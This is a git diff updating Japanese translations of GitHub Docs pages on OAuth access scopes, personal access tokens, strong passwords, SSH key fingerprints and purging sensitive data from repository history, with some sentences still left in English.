+アプリケーションがリクエストできるデータの種類はいくつかあります。
 
-![OAuth access details](/assets/images/help/platform/oauth_access_types.png)
+![OAuth アクセスの詳細](/assets/images/help/platform/oauth_access_types.png)
 
 {% tip %}
 
-**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %}
+**ヒント:** {% data reusables.user_settings.review_oauth_tokens_tip %}
 
 {% endtip %}
 
-| Type of data | Description |
-| --- | --- |
-| Commit status | You can grant access for a third-party application to report your commit status. Commit status access allows applications to determine if a build is a successful against a specific commit. Applications won't have access to your code, but they <em>can</em> read and write status information against a specific commit. |
-| Deployments | Deployment status access allows applications to determine if a deployment is successful against a specific commit for a repository. Applications won't have access to your code. |
-| Gists | [Gist](https://gist.github.com) access allows applications to read or write to {% ifversion not ghae %}both your public and{% else %}both your internal and{% endif %} secret Gists. |
-| Hooks | [Webhooks](/webhooks) access allows applications to read or write hook configurations on repositories you manage. |
-| Notifications | Notification access allows applications to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, applications remain unable to access anything in your repositories. |
-| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. |
-| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. |
-| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. An application can request access to all of your repositories of any visibility level. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." |
-| Repository delete | Applications can request to delete repositories that you administer, but they won't have access to your code. |
+| データの種類                | 説明                                                                                                                                                                                                                                                                                                   |
+| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| コミットのステータス            | サードパーティアプリケーションに、コミットのステータスを報告するためのアクセスを許可できます。 コミットステータスのアクセスがあれば、アプリケーションはビルドが特定のコミットに対して成功したかどうかを判定できます。 アプリケーションは、コードにはアクセスできませんが、特定のコミットに対するステータス情報を読み書き<em>できます</em>。                                                                                                              |
+| デプロイメント               | デプロイメントステータスにアクセスできれば、アプリケーションは、リポジトリの特定のコミットに対してデプロイメントが成功したかどうかを判断できます。 アプリケーションはコードにアクセスできなくなります。                                                                                                                                                                                                 |
+| Gist                  | [Gist](https://gist.github.com) アクセスがあれば、アプリケーションは {% ifversion not ghae %}あなたのパブリックおよび{% else %}内部{% endif %}シークレット Gist の両方を読み書きできます。                                                                                                                                                              |
+| フック                   | [webhook](/webhooks) アクセスがあれば、アプリケーションはあなたが管理するリポジトリ上のフックの設定を読み書きできます。                                                                                                                                                                                                                               |
+| 通知                    | 通知アクセスがあれば、アプリケーションは Issue やプルリクエストへのコメントなど、あなたの {% data variables.product.product_name %} 通知を読むことができます。 ただし、アプリケーションはリポジトリ内へはアクセスできません。                                                                                                                                                             |
+| Organization および Team | Organization および Team のアクセスがあれば、アプリケーションは Organization および Team のメンバー構成へのアクセスと管理ができます。                                                                                                                                                                                                               |
+| 個人ユーザデータ              | ユーザデータには、名前、メールアドレス、所在地など、ユーザプロファイル内の情報が含まれます。                                                                                                                                                                                                                                                       |
+| リポジトリ                 | リポジトリ情報には、コントリビュータの名前、あなたが作成したブランチ、リポジトリ内の実際のファイルなどが含まれます。 An application can request access to all of your repositories of any visibility level. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." |
+| リポジトリの削除              | アプリケーションはあなたが管理するリポジトリの削除をリクエストできますが、コードにアクセスすることはできません。                                                                                                                                                                                                                                             |
 
-## Requesting updated permissions
+## 更新された権限のリクエスト
 
-Applications can request new access privileges. When asking for updated permissions, the application will notify you of the differences.
+アプリケーションは新しいアクセス権限をリクエストできます。 権限の更新を要求する場合、アプリケーションはその違いについて通知します。
 
-![Changing third-party application access](/assets/images/help/platform/oauth_existing_access_pane.png)
+![サードパーティアプリケーションのアクセスを変更する](/assets/images/help/platform/oauth_existing_access_pane.png)
diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
index da65603203..0c28a9892c 100644
--- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
+++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a personal access token
-intro: You should create a personal access token to use in place of a password with the command line or with the API.
+title: 個人アクセストークンを使用する
+intro: コマンドラインまたは API を使用して、パスワードの代わりに使用する個人アクセストークンを作成する必要があります。
 redirect_from:
   - /articles/creating-an-oauth-token-for-command-line-use
   - /articles/creating-an-access-token-for-command-line-use
@@ -25,59 +25,56 @@ shortTitle: Create a PAT
 
 {% endnote %}
 
-Personal access tokens (PATs) are an alternative to using passwords for authentication to {% data variables.product.product_name %} when using the [GitHub API](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens) or the [command line](#using-a-token-on-the-command-line).
+個人アクセストークン（PAT）は、[GitHub API](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens) または[コマンドライン](#using-a-token-on-the-command-line)を使用するときに {% data variables.product.product_name %} への認証でパスワードの代わりに使用できます。
 
-{% ifversion fpt or ghec %}If you want to use a PAT to access resources owned by an organization that uses SAML SSO, you must authorize the PAT. For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing a personal access token for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+{% ifversion fpt or ghec %}PAT を使用して、SAML SSO を使用する Organization が所有するリソースにアクセスする場合は、PAT を認証する必要があります。 For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing a personal access token for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
 
 {% ifversion fpt or ghec %}{% data reusables.user_settings.removes-personal-access-tokens %}{% endif %}
 
-A token with no assigned scopes can only access public information. To use your token to access repositories from the command line, select `repo`. For more information, see "[Available scopes](/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes)".
+A token with no assigned scopes can only access public information. トークンを使用してコマンドラインからリポジトリにアクセスするには、[`repo`] を選択します。 For more information, see "[Available scopes](/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes)".
 
-## Creating a token
+## トークンの作成
 
-{% ifversion fpt or ghec %}1. [Verify your email address](/github/getting-started-with-github/verifying-your-email-address), if it hasn't been verified yet.{% endif %}
+{% ifversion fpt or ghec %}1. まだ検証していない場合は[メールアドレスを検証](/github/getting-started-with-github/verifying-your-email-address)します。{% endif %}
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.developer_settings %}
 {% data reusables.user_settings.personal_access_tokens %}
 {% data reusables.user_settings.generate_new_token %}
-5. Give your token a descriptive name.
-   ![Token description field](/assets/images/help/settings/token_description.png){% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %}
-6. To give your token an expiration, select the **Expiration** drop-down menu, then click a default or use the calendar picker.
-   ![Token expiration field](/assets/images/help/settings/token_expiration.png){% endif %}
-7. Select the scopes, or permissions, you'd like to grant this token. To use your token to access repositories from the command line, select **repo**.
+5. トークンにわかりやすい名前を付けます。 ![Token description field](/assets/images/help/settings/token_description.png){% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %}
+6. To give your token an expiration, select the **Expiration** drop-down menu, then click a default or use the calendar picker. ![Token expiration field](/assets/images/help/settings/token_expiration.png){% endif %}
+7. このトークンに付与するスコープ、すなわち権限を選択します。 トークンを使用してコマンドラインからリポジトリにアクセスするには、[**repo**] を選択します。
    {% ifversion fpt or ghes or ghec %}
-   ![Selecting token scopes](/assets/images/help/settings/token_scopes.gif)
+   ![トークンスコープの選択](/assets/images/help/settings/token_scopes.gif)
    {% elsif ghae %}
-   ![Selecting token scopes](/assets/images/enterprise/github-ae/settings/access-token-scopes-for-ghae.png)
+   ![トークンスコープの選択](/assets/images/enterprise/github-ae/settings/access-token-scopes-for-ghae.png)
    {% endif %}
-8. Click **Generate token**.
-   ![Generate token button](/assets/images/help/settings/generate_token.png)
+8. [**Generate token**] をクリックします。 ![[Generate token] ボタン](/assets/images/help/settings/generate_token.png)
    {% ifversion fpt or ghec %}
-   ![Newly created token](/assets/images/help/settings/personal_access_tokens.png)
+   ![新しく作成されたトークン](/assets/images/help/settings/personal_access_tokens.png)
    {% elsif ghes > 3.1 or ghae %}
-   ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe.png)
+   ![新しく作成されたトークン](/assets/images/help/settings/personal_access_tokens_ghe.png)
    {% else %}
-   ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe_legacy.png)
+   ![新しく作成されたトークン](/assets/images/help/settings/personal_access_tokens_ghe_legacy.png)
    {% endif %}
    {% warning %}
 
-   **Warning:** Treat your tokens like passwords and keep them secret. When working with the API, use tokens as environment variables instead of hardcoding them into your programs. 
+   **警告:** トークンはパスワードのように扱い、秘密にしてください。 API を操作する場合は、トークンをプログラムにハードコーディングするのではなく、環境変数として使用してください。
 
    {% endwarning %}
 
 {% ifversion fpt or ghec %}9. To use your token to authenticate to an organization that uses SAML single sign-on, authorize the token. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
 
-## Using a token on the command line
+## コマンドラインでトークンを使用する
 
 {% data reusables.command_line.providing-token-as-password %}
 
-Personal access tokens can only be used for HTTPS Git operations. If your repository uses an SSH remote URL, you will need to [switch the remote from SSH to HTTPS](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-ssh-to-https).
+個人アクセストークンは HTTPS Git 操作だけにしか使用できません。 SSH リモート URL を使用するリポジトリの場合、[リモートを SSH から HTTPS に切り替える](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-ssh-to-https)必要があります。
 
-If you are not prompted for your username and password, your credentials may be cached on your computer. You can [update your credentials in the Keychain](/github/getting-started-with-github/updating-credentials-from-the-macos-keychain) to replace your old password with the token.
+ユーザ名とパスワードの入力を求められない場合、資格情報がコンピュータにキャッシュされている可能性があります。 古いパスワードをトークンに交換するよう[キーチェーンで資格情報を更新](/github/getting-started-with-github/updating-credentials-from-the-macos-keychain)できます。
 
-Instead of manually entering your PAT for every HTTPS Git operation, you can cache your PAT with a Git client. Git will temporarily store your credentials in memory until an expiry interval has passed. You can also store the token in a plain text file that Git can read before every request. For more information, see "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
+Instead of manually entering your PAT for every HTTPS Git operation, you can cache your PAT with a Git client. Git will temporarily store your credentials in memory until an expiry interval has passed. You can also store the token in a plain text file that Git can read before every request. 詳細は「[Git に {% data variables.product.prodname_dotcom %} の認証情報をキャッシュする](/github/getting-started-with-github/caching-your-github-credentials-in-git)」を参照してください。
 
-## Further reading
+## 参考リンク
 
 - "[About authentication to GitHub](/github/authenticating-to-github/about-authentication-to-github)"{% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %}
 - "[Token expiration and revocation](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %}
diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
index 85eebfa495..b1992e302d 100644
--- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
+++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
@@ -1,5 +1,5 @@
 ---
-title: Creating a strong password
+title: 強力なパスワードの作成
 intro: 'Secure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} with a strong and unique password using a password manager.'
 redirect_from:
   - /articles/what-is-a-strong-password
@@ -15,24 +15,25 @@ topics:
   - Access management
 shortTitle: Create a strong password
 ---
+
 You must choose or generate a password for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} that is at least:
-- {% ifversion ghes %}Seven{% else %}Eight{% endif %} characters long, if it includes a number and a lowercase letter, or
-- 15 characters long with any combination of characters
+- 数字と小文字アルファベットを含む場合は長さ {% ifversion ghes %}7{% else %}8{% endif %} 文字以上、または
+- 文字の組み合わせを考慮しない場合は長さ 15 文字以上
 
-To keep your account secure, we recommend you follow these best practices:
-- Use a password manager, such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/), to generate a password of at least 15 characters.
-- Generate a unique password for {% data variables.product.product_name %}. If you use your {% data variables.product.product_name %} password elsewhere and that service is compromised, then attackers or other malicious actors could use that information to access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
+アカウントを安全に保つため、以下のベストプラクティスに従うことをお勧めします:
+- [LastPass](https://lastpass.com/) や [1Password](https://1password.com/) などのパスワードマネージャを使用して、15 文字以上のパスワードを生成すること。
+- {% data variables.product.product_name %}用に独自のパスワードを生成すること。 If you use your {% data variables.product.product_name %} password elsewhere and that service is compromised, then attackers or other malicious actors could use that information to access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
 
-- Configure two-factor authentication for your personal account. For more information, see "[About two-factor authentication](/articles/about-two-factor-authentication)."
-- Never share your password, even with a potential collaborator. Each person should use their own personal account on {% data variables.product.product_name %}. For more information on ways to collaborate, see: "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)," "[About collaborative development models](/articles/about-collaborative-development-models/)," or "[Collaborating with groups in organizations](/organizations/collaborating-with-groups-in-organizations/)."
+- 個人アカウントに 2 要素認証を設定する。 詳しい情報については「[2 要素認証について](/articles/about-two-factor-authentication)」を参照してください。
+- 潜在的なコラボレーターであっても誰であっても、パスワードは決して共有しないでください。 {% data variables.product.product_name %}では一人ひとりが自分の個人アカウントを使用すべきです。 コラボレートする方法の詳しい情報については、「[コラボレーターを個人リポジトリに招待する](/articles/inviting-collaborators-to-a-personal-repository)」、「[共同開発モデルについて](/articles/about-collaborative-development-models/)」、または「[Organization のグループでコラボレーションする](/organizations/collaborating-with-groups-in-organizations/)」を参照してください。
 
 {% data reusables.repositories.blocked-passwords %}
 
-You can only use your password to log on to {% data variables.product.product_name %} using your browser. When you authenticate to {% data variables.product.product_name %} with other means, such as the command line or API, you should use other credentials. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)." 
+ブラウザを使用して {% data variables.product.product_name %} にログオンする場合のみパスワードを使用できます。 コマンドラインや API などの他の方法で {% data variables.product.product_name %} を認証する場合は、他の認証情報を使用する必要があります。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} への認証について](/github/authenticating-to-github/about-authentication-to-github)」を参照してください。
 
 {% ifversion fpt or ghec %}{% data reusables.user_settings.password-authentication-deprecation %}{% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[Caching your {% data variables.product.product_name %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)"
-- "[Keeping your account and data secure](/articles/keeping-your-account-and-data-secure/)"
+- "[Git で {% data variables.product.product_name %} 認証情報をキャッシュ](/github/getting-started-with-github/caching-your-github-credentials-in-git/)"
+- "[アカウントとデータの安全を保つ](/articles/keeping-your-account-and-data-secure/)"
diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
index 035d69c803..72c80db1b7 100644
--- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
+++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub's SSH key fingerprints
-intro: Public key fingerprints can be used to validate a connection to a remote server.
+title: GitHub の SSH キーフィンガープリント
+intro: パブリックキーフィンガープリントを使用して、リモートサーバへの接続を有効にすることができます。
 redirect_from:
   - /articles/what-are-github-s-ssh-key-fingerprints
   - /articles/github-s-ssh-key-fingerprints
@@ -15,7 +15,8 @@ topics:
   - Access management
 shortTitle: SSH key fingerprints
 ---
-These are {% data variables.product.prodname_dotcom %}'s public key fingerprints:
+
+{% data variables.product.prodname_dotcom %} の公開鍵のフィンガープリントは次のとおりです。
 
 - `SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8` (RSA)
 - `SHA256:p2QAMXNIC1TJYWeIOttrVc98/R1BUFWu3/LiyKgUfQM` (ECDSA)
diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/index.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/index.md
index 9d1b48210b..264802a939 100644
--- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/index.md
+++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/index.md
@@ -1,5 +1,5 @@
 ---
-title: Keeping your account and data secure
+title: アカウントとデータを安全に保つ
 intro: 'To protect your personal information, you should keep both your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and any associated data secure.'
 redirect_from:
   - /articles/keeping-your-account-and-data-secure
diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md
index 385e8c165a..9ae5385fd1 100644
--- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md
+++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Removing sensitive data from a repository
-intro: 'If you commit sensitive data, such as a password or SSH key into a Git repository, you can remove it from the history. To entirely remove unwanted files from a repository''s history you can use either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.'
+title: 機密データをリポジトリから削除する
+intro: Git リポジトリへのパスワードや SSH キーといった機密データをコミットする場合、そのデータを履歴から削除することができます。 To entirely remove unwanted files from a repository's history you can use either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.
 redirect_from:
   - /remove-sensitive-data
   - /removing-sensitive-data
@@ -18,51 +18,52 @@ topics:
   - Access management
 shortTitle: Remove sensitive data
 ---
-The `git filter-repo` tool and the BFG Repo-Cleaner rewrite your repository's history, which changes the SHAs for existing commits that you alter and any dependent commits. Changed commit SHAs may affect open pull requests in your repository. We recommend merging or closing all open pull requests before removing files from your repository.
 
-You can remove the file from the latest commit with `git rm`. For information on removing a file that was added with the latest commit, see "[About large files on {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)."
+The `git filter-repo` tool and the BFG Repo-Cleaner rewrite your repository's history, which changes the SHAs for existing commits that you alter and any dependent commits. コミットの SHA が変更されると、リポジトリでオープンされたプルリクエストに影響する可能性があります。 ファイルをリポジトリから削除する前に、オープンプルリクエストをすべてマージまたはクローズすることを推奨します。
+
+`git rm` によって、最新のコミットからファイルを削除することができます。 For information on removing a file that was added with the latest commit, see "[About large files on {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)."
 
 {% warning %}
 
-This article tells you how to make commits with sensitive data unreachable from any branches or tags in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. However, it's important to note that those commits may still be accessible in any clones or forks of your repository, directly via their SHA-1 hashes in cached views on {% data variables.product.product_name %}, and through any pull requests that reference them. You cannot remove sensitive data from other users' clones or forks of your repository, but you can permanently remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %} by contacting {% data variables.contact.contact_support %}.
+This article tells you how to make commits with sensitive data unreachable from any branches or tags in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. ただし、こうしたコミットも、リポジトリのクローンやフォークからは、{% data variables.product.product_name %} でキャッシュされているビューの SHA-1 ハッシュによって直接、また参照元のプルリクエストによって、到達できる可能性があることに注意することが重要です。 You cannot remove sensitive data from other users' clones or forks of your repository, but you can permanently remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %} by contacting {% data variables.contact.contact_support %}.
 
-**Warning: Once you have pushed a commit to {% data variables.product.product_name %}, you should consider any sensitive data in the commit compromised.** If you committed a password, change it! If you committed a key, generate a new one. Removing the compromised data doesn't resolve its initial exposure, especially in existing clones or forks of your repository. Consider these limitations in your decision to rewrite your repository's history.
+**Warning: Once you have pushed a commit to {% data variables.product.product_name %}, you should consider any sensitive data in the commit compromised.** If you committed a password, change it! キーをコミットした場合は、新たに生成してください。 Removing the compromised data doesn't resolve its initial exposure, especially in existing clones or forks of your repository. Consider these limitations in your decision to rewrite your repository's history.
 
 {% endwarning %}
 
-## Purging a file from your repository's history
+## ファイルをリポジトリの履歴からパージする
 
 You can purge a file from your repository's history using either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.
 
-### Using the BFG
+### BFG を使用する
 
-The [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) is a tool that's built and maintained by the open source community. It provides a faster, simpler alternative to `git filter-branch` for removing unwanted data. 
+[BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) は、オープンソースコミュニティによって構築およびメンテナンスされているツールです。 これは、不要なデータを削除する手段として、`git filter-branch` より高速でシンプルです。
 
-For example, to remove your file with sensitive data and leave your latest commit untouched, run:
+たとえば、機密データを含むファイルを削除して、最新のコミットをそのままにしておくには、次を実行します:
 
 ```shell
-$ bfg --delete-files <em>YOUR-FILE-WITH-SENSITIVE-DATA</em>
+$ bfg --delete-files <em>機密データを含むファイル</em>
 ```
 
-To replace all text listed in `passwords.txt` wherever it can be found in your repository's history, run:
+`passwords.txt` にリストされているすべてのテキストについて、リポジトリの履歴にあれば置き換えるには、次を実行します:
 
 ```shell
 $ bfg --replace-text passwords.txt
 ```
 
-After the sensitive data is removed, you must force push your changes to {% data variables.product.product_name %}. Force pushing rewrites the repository history, which removes sensitive data from the commit history. If you force push, it may overwrite commits that other people have based their work on.
+機密データが削除されたら、変更を {% data variables.product.product_name %} に強制的にプッシュする必要があります。 Force pushing rewrites the repository history, which removes sensitive data from the commit history. If you force push, it may overwrite commits that other people have based their work on.
 
 ```shell
 $ git push --force
 ```
 
-See the [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/)'s documentation for full usage and download instructions.
+完全な使用方法とダウンロード手順については、[BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) のドキュメントを参照してください。
 
 ### Using git filter-repo
 
 {% warning %}
 
-**Warning:** If you run `git filter-repo` after stashing changes, you won't be able to retrieve your changes with other stash commands. Before running `git filter-repo`, we recommend unstashing any changes you've made. To unstash the last set of changes you've stashed, run `git stash show -p | git apply -R`. For more information, see [Git Tools - Stashing and Cleaning](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning).
+**Warning:** If you run `git filter-repo` after stashing changes, you won't be able to retrieve your changes with other stash commands. Before running `git filter-repo`, we recommend unstashing any changes you've made. stash した最後の一連の変更を unstash するには、`git stash show -p | git apply -R` を実行します。 For more information, see [Git Tools - Stashing and Cleaning](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning).
 
 {% endwarning %}
 
@@ -74,25 +75,25 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
   ```
   For more information, see [*INSTALL.md*](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) in the `newren/git-filter-repo` repository.
 
-2. If you don't already have a local copy of your repository with sensitive data in its history, [clone the repository](/articles/cloning-a-repository/) to your local computer.
+2. 機密データを含むリポジトリのローカルコピーが履歴にまだない場合は、ローカルコンピュータに[リポジトリのクローンを作成](/articles/cloning-a-repository/)します。
   ```shell
-  $ git clone https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/<em>YOUR-REPOSITORY</em>
-  > Initialized empty Git repository in /Users/<em>YOUR-FILE-PATH</em>/<em>YOUR-REPOSITORY</em>/.git/
+  $ git clone https://{% data variables.command_line.codeblock %}/<em>ユーザ名</em>/<em>リポジトリ</em>
+  > Initialized empty Git repository in /Users/<em>ファイルパス</em>/<em>リポジトリ</em>/.git/
   > remote: Counting objects: 1301, done.
   > remote: Compressing objects: 100% (769/769), done.
   > remote: Total 1301 (delta 724), reused 910 (delta 522)
   > Receiving objects: 100% (1301/1301), 164.39 KiB, done.
   > Resolving deltas: 100% (724/724), done.
   ```
-3. Navigate into the repository's working directory.
+3. リポジトリのワーキングディレクトリに移動します。
   ```shell
-  $ cd <em>YOUR-REPOSITORY</em>
+  $ cd <em>リポジトリ</em>
   ```
-4. Run the following command, replacing `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` with the **path to the file you want to remove, not just its filename**. These arguments will:
-    - Force Git to process, but not check out, the entire history of every branch and tag
-    - Remove the specified file, as well as any empty commits generated as a result
+4. 次のコマンドを実行します。`機密データを含むファイルへのパス`は、**ファイル名だけではなく、削除するファイルへのパス**で置き換えます。 その引数により、次のことが行われます:
+    - 各ブランチとタグの履歴全体を強制的に Git で処理するが、チェックアウトはしない
+    - 指定のファイルを削除することにより、生成された空のコミットも削除される
     - Remove some configurations, such as the remote URL, stored in the *.git/config* file. You may want to back up this file in advance for restoration later.
-    - **Overwrite your existing tags**
+    - **既存のタグを上書きする**
         ```shell
         $ git filter-repo --invert-paths --path PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA
         Parsed 197 commits
@@ -110,11 +111,11 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
 
   {% note %}
 
-  **Note:** If the file with sensitive data used to exist at any other paths (because it was moved or renamed), you must run this command on those paths, as well.
+  **メモ:** 機密データを含む当該ファイルが (移動されたか名前が変更されたため) 他のパスに存在していた場合、このコマンドはそのパスでも実行する必要があります。
 
   {% endnote %}
 
-5. Add your file with sensitive data to `.gitignore` to ensure that you don't accidentally commit it again.
+5. 機密データを含むファイルを、誤って再度コミットしないようにするため、`.gitignore` に追加します。
 
   ```shell
   $ echo "<em>YOUR-FILE-WITH-SENSITIVE-DATA</em>" >> .gitignore
@@ -123,7 +124,7 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
   > [main 051452f] Add <em>YOUR-FILE-WITH-SENSITIVE-DATA</em> to .gitignore
   >  1 files changed, 1 insertions(+), 0 deletions(-)
   ```
-6. Double-check that you've removed everything you wanted to from your repository's history, and that all of your branches are checked out.
+6. リポジトリの履歴から削除対象をすべて削除したこと、すべてのブランチがチェックアウトされたことをダブルチェックします。
 7. Once you're happy with the state of your repository, force-push your local changes to overwrite your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, as well as all the branches you've pushed up. A force push is required to remove sensitive data from your commit history.
   ```shell
   $ git push origin --force --all
@@ -135,7 +136,7 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
   > To https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/<em>YOUR-REPOSITORY</em>.git
   >  + 48dc599...051452f main -> main (forced update)
   ```
-8. In order to remove the sensitive file from [your tagged releases](/articles/about-releases), you'll also need to force-push against your Git tags:
+8. 機密データを[タグ付きリリース](/articles/about-releases)から削除するため、Git タグに対しても次のようにフォースプッシュする必要があります。
   ```shell
   $ git push origin --force --tags
   > Counting objects: 321, done.
@@ -151,9 +152,9 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
 
 After using either the BFG tool or `git filter-repo` to remove the sensitive data and pushing your changes to {% data variables.product.product_name %}, you must take a few more steps to fully remove the data from {% data variables.product.product_name %}.
 
-1. Contact {% data variables.contact.contact_support %}, asking them to remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %}. Please provide the name of the repository and/or a link to the commit you need removed.
+1. {% data variables.contact.contact_support %} に連絡し、{% data variables.product.product_name %} 上で、キャッシュされているビューと、プルリクエストでの機密データへの参照を削除するよう依頼します。 Please provide the name of the repository and/or a link to the commit you need removed.
 
-2. Tell your collaborators to [rebase](https://git-scm.com/book/en/Git-Branching-Rebasing), *not* merge, any branches they created off of your old (tainted) repository history. One merge commit could reintroduce some or all of the tainted history that you just went to the trouble of purging.
+2. コラボレータには、 作成したブランチを古い (汚染された) リポジトリ履歴から[リベース](https://git-scm.com/book/en/Git-Branching-Rebasing)する (マージ*しない*) よう伝えます。 マージコミットを 1 回でも行うと、パージで問題が発生したばかりの汚染された履歴の一部または全部が再導入されてしまいます。
 
 3. After some time has passed and you're confident that the BFG tool / `git filter-repo` had no unintended side effects, you can force all objects in your local repository to be dereferenced and garbage collected with the following commands (using Git 1.8.5 or newer):
   ```shell
@@ -168,21 +169,21 @@ After using either the BFG tool or `git filter-repo` to remove the sensitive dat
   ```
   {% note %}
 
